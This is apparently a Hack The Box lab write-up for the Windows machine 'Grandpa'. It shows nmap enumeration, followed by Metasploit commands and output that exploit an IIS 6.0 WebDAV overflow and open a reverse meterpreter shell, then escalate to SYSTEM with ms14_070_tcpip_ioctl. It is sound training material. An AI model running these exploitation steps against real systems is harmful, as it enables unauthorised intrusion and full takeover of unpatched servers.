



Grandpa

▼ Platform	HTB
📅 Date	@April 1, 2022
▼ Operating System	Windows
☰ Tags	IIS metasploit

General-Information

▼ Table of Contents

- Scanning/Enumeration
- Metasploit
- 🚩 User Flag 🚩
- 🚩 Root Flag 🚩
- What I learned

▼ Machine Information

- Link: <https://app.hackthebox.com/machines/13>
- IP: 10.10.10.14

Scanning/Enumeration

▼ Looking at the feedback from the basic `nmap` I see that this machine is as I would've guessed, set up similarly to how the grandma machine was made with it running on Windows and using `Microsoft IIS httpd 6.0`. Along with that it has the same HTTP methods in usage as well, so this might be solvable the same way.

- Basic `nmap` scan results: `nmap -A $IP -oN nmap.txt`

```
80/tcp open  http      Microsoft IIS httpd 6.0
_ http-methods:
  Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
_ http-ntlm-info:
  Target_Name: GRANPA
  NetBIOS_Domain_Name: GRANPA
  NetBIOS_Computer_Name: GRANPA
  DNS_Domain_Name: granpa
  DNS_Computer_Name: granpa
  Product_Version: 5.2.3790
_ http-server-header: Microsoft-IIS/6.0
_ http-title: Under Construction
_ http-webdav-scan:
  Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
  Server Type: Microsoft-IIS/6.0
  WebDAV type: Unknown
  Server Date: Fri, 01 Apr 2022 19:35:34 GMT
_ Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

▼ Checking the feedback from the `nmap` scan with vulnerable scripts enabled and I see that as with the grandma box, I'm getting the same information about how the Frontpage service is vulnerable to anonymous login, along with some enumeration that's been carried out on port 80.

- `nmap` vuln scan results: `nmap --script vuln $IP -oN Nmap_vuln-initial.txt`

```
80/tcp open  http
_ http-csrf: Couldn't find any CSRF vulnerabilities.
_ http-dombased-xss: Couldn't find any DOM based XSS.
_ http-enum:
  /postinfo.html: Frontpage file or folder
  /vti_bin/_vti_aut/author.dll: Frontpage file or folder
  /vti_bin/_vti_aut/author.exe: Frontpage file or folder
  /vti_bin/_vti_adm/admin.dll: Frontpage file or folder
  /vti_bin/_vti_adm/admin.exe: Frontpage file or folder
  /vti_bin/fpcount.exe?Page=default.asp|Image=3: Frontpage file or folder
  /vti_bin/shtml.dll: Frontpage file or folder
  /vti_bin/shtml.exe: Frontpage file or folder
_ http-frontpage-login:
  VULNERABLE:
    Frontpage extension anonymous login
    State: VULNERABLE
    Default installations of older versions of frontpage extensions allow anonymous logins which can lead to server compromise.

  References:
    http://insecure.org/sploits/Microsoft.frontpage.insecurities.html
_ http-stored-xss: Couldn't find any stored XSS vulnerabilities.
```

Metasploit

▼ I decided to try and see if the same `metasploit` module would work for grandpa as did with grandma, so I search it up and tried to run through the process of being `NT AUTHORITY SYSTEM` on the machine. However, it didn't work because even though I'm able to migrate my process to a different privilege, I'm still at the `NT AUTHORITY\NETWORK SERVICE` level and not `NT AUTHORITY SYSTEM`.

- Using the `iis_webdav_scstoragepathfromurl` module

```

msf6 > search iis_webdav
Matching Modules
=====
#  Name                                     Disclosure Date  Rank     Check  Description
--  -
0  exploit/windows/iis/iis_webdav_upload_asp  2004-12-31      excellent No      Microsoft IIS WebDAV Write Access Code Execution
1  exploit/windows/iis/iis_webdav_scstoragepathfromurl  2017-03-26      manual   Yes     Microsoft IIS WebDAV ScStoragePathFromUrl Overflow

Interact with a module by name or index. For example info 1, use 1 or use exploit/windows/iis/iis_webdav_scstoragepathfromurl

msf6 > use 1
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set RHOSTS grandpa.htb
RHOSTS => grandpa.htb
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set LHOST 10.
LHOST => 10.10.14.7
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > options

Module options (exploit/windows/iis/iis_webdav_scstoragepathfromurl):

Name          Current Setting  Required  Description
--          -
MAXPATHLENGTH 60              yes       End of physical path brute force
MINPATHLENGTH 3               yes       Start of physical path brute force
Proxies        /              no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS         grandpa.htb     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT          80              yes       The target port (TCP)
SSL            false           no        Negotiate SSL/TLS for outgoing connections
TARGETURI      /               yes       Path of IIS 6 web application
VHOST          /               no        HTTP server virtual host

```

- Checking to make sure the box is vulnerable and getting a `meterpreter` shell on it

```

msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > check
[+] 10.10.10.14:80 - The target is vulnerable.
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > exploit

[*] Started reverse TCP handler on 10.10.14.7:4444
[*] Trying path length 3 to 60 ...
[*] Sending stage (175174 bytes) to 10.10.10.14
[*] Meterpreter session 1 opened (10.10.14.7:4444 → 10.10.10.14:1030) at 2022-04-01 21:37:37 -0400

meterpreter > getuid
[-] stdapi_sys_config_getuid: Operation failed: Access is denied.
meterpreter > ps

Process List
=====
PID  PPID  Name                Arch  Session  User
---  ---
0    0     [System Process]
4    0     System
272  4     smss.exe
320  272   csrss.exe
344  272   winlogon.exe
392  344   services.exe
404  344   lsass.exe
584  392   svchost.exe

```

- Migrating to a different process, but still being unable to view any files, yet

```

1936 584 wmiprvse.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\wbem\wmiprvse.exe
1988 1064 cidaemon.exe
2188 1488 w3wp.exe x86 0 NT AUTHORITY\NETWORK SERVICE c:\windows\system32\inetsrv\w3wp.exe
2256 584 davcddata.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\inetsrv\davcddata.exe
2636 584 wmiprvse.exe
2784 1488 w3wp.exe
3320 2188 rundll32.exe x86 0 C:\WINDOWS\system32\rundll32.exe
3336 344 logon.scr

meterpreter > migrate 1936
[*] Migrating from 3320 to 1936...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE

```

```

meterpreter > dir
Listing: C:\Documents and Settings

Mode                Size           Type             Last modified      Name
-----
40777/rwxrwxrwx    0             dir              2017-04-12 10:12:15 -0400 Administrator
40777/rwxrwxrwx    0             dir              2017-04-12 09:42:38 -0400 All Users
40777/rwxrwxrwx    0             dir              2017-04-12 09:42:38 -0400 Default User
40777/rwxrwxrwx    0             dir              2017-04-12 10:32:01 -0400 Harry
40777/rwxrwxrwx    0             dir              2017-04-12 10:08:32 -0400 LocalService
40777/rwxrwxrwx    0             dir              2017-04-12 10:08:31 -0400 NetworkService

meterpreter > cd Harry
[-] stdapi_fs_chdir: Operation failed: Access is denied.

```

▼ So, I turn to the `metasploit`'s `local_exploit_suggester` to look for a possible entry point into the system. I figured it would be worth a shot to use the exploit that worked on the grandma machine, which it did! I followed the steps outlined in the toggle option list below.

- Using the `local_exploit_suggester`

```

Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter > run post/multi/recon/local_exploit_suggester

[*] 10.10.10.14 - Collecting local exploits for x86/windows...
[*] 10.10.10.14 - 40 exploit checks are being tried...
[+] 10.10.10.14 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
[+] 10.10.10.14 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
[+] 10.10.10.14 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > use exploit/windows/local/ms14_070_tcpip_ioctl
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms14_070_tcpip_ioctl) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/ms14_070_tcpip_ioctl) > set LHOST 10.
LHOST => 10.
msf6 exploit(windows/local/ms14_070_tcpip_ioctl) > options

Module options (exploit/windows/local/ms14_070_tcpip_ioctl):

  Name      Current Setting  Required  Description
  ----      -
  SESSION   1                yes       The session to run this module on.

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     10.             yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

```

- Running the exploit and becoming **NT AUTHORITY SYSTEM**

```

msf6 exploit(windows/local/ms14_070_tcpip_ioctl) > run

[*] Started reverse TCP handler on 10. :4444
[*] Storing the shellcode in memory...
[*] Triggering the vulnerability...
[*] Checking privileges after exploitation...
[+] Exploitation successful!
[*] Sending stage (175174 bytes) to 10.10.10.14
[*] Meterpreter session 2 opened (10. :4444 → 10.10.10.14:1031) at 2022-04-01 22:00:27 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

```

User.txt Flag

- ▼ The user **Harry** held the user flag.

- `cat user.txt`

```
meterpreter > dir
Listing: C:\Documents and Settings\Harry\Desktop
=====
Mode                Size      Type      Last modified            Name
-----
100444/r--r--r--   32      fil      2017-04-12 10:32:09 -0400 user.txt

meterpreter > cat user.txt
bd
meterpreter > _
```

Root.txt Flag

▼ Per usual, the `Administrator` profile held the root flag.

- `cat root.txt`

```
meterpreter > cd Administrator
meterpreter > cd Desktop
meterpreter > cat root.txt
93
meterpreter > _
```

What I learned

- In hindsight I shouldn't have used `metasploit` again to exploit a machine. However, I might go back and try this machine or grandma without `metasploit`.